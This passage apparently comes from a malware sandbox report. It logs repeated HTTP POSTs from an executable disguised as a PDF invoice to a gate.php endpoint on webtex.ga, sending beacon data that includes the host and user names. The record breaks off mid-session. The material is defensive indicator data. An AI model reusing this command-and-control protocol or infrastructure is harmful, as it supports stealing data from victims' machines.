Dec 3, 2020 10:02:29.627510071 CET	67	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:29.858062029 CET	68	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:46 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49729	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:36.782392025 CET	93	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:36.798995972 CET	93	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:36.844795942 CET	93	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:54 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.3	49939	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:50.701366901 CET	4732	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:50.718123913 CET	4732	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:50.762480021 CET	4732	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:08 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.3	49941	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:51.232876062 CET	4738	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:51.249530077 CET	4739	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:51.295295000 CET	4739	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:08 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.3	49942	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:51.745747089 CET	4747	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:51.762674093 CET	4747	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:51.805429935 CET	4748	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:09 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.3	49944	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:52.011532068 CET	4749	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:52.028239965 CET	4749	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:52.069458008 CET	4750	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:09 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.3	49945	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:52.540725946 CET	4762	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:52.557657003 CET	4762	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:52.673836946 CET	4762	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:09 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.3	49946	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:53.132189989 CET	4763	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:53.149421930 CET	4763	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:53.203316927 CET	4764	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:10 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.3	49948	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:53.741499901 CET	4773	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:53.758150101 CET	4773	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:53.800649881 CET	4773	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:11 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.3	49949	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:54.013312101 CET	4774	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:54.030227900 CET	4774	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:54.074157953 CET	4775	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:11 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.3	49950	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:54.573091984 CET	4775	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:54.590130091 CET	4776	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:54.632227898 CET	4776	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:11 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.3	49951	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:55.156588078 CET	4777	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:55.173185110 CET	4777	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:55.378946066 CET	4780	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:12 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49730	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:38.586697102 CET	94	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:38.603267908 CET	94	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:38.645181894 CET	95	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:55 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.3	49953	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:55.853547096 CET	4787	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:55.870115995 CET	4788	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:55.913942099 CET	4788	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:13 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.3	49954	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:56.114180088 CET	4789	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:56.131055117 CET	4789	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:56.172661066 CET	4789	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:13 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.3	49955	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:56.633629084 CET	4790	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:56.650320053 CET	4790	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:56.693408966 CET	4791	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:13 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.3	49956	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:57.149827003 CET	4792	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:57.166579962 CET	4792	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:57.219338894 CET	4792	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:14 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.3	49957	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:57.692003012 CET	4793	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:57.708869934 CET	4793	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:57.753940105 CET	4794	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:14 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.3	49958	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:58.283328056 CET	4794	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:58.300215960 CET	4795	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:58.343101978 CET	4795	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:15 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.3	49959	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:58.547962904 CET	4796	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:58.564587116 CET	4796	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:58.604918957 CET	4796	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:15 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.3	49960	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:58.821964979 CET	4797	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:58.838589907 CET	4797	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:58.886666059 CET	4798	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:16 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.3	49961	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:59.097645998 CET	4798	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
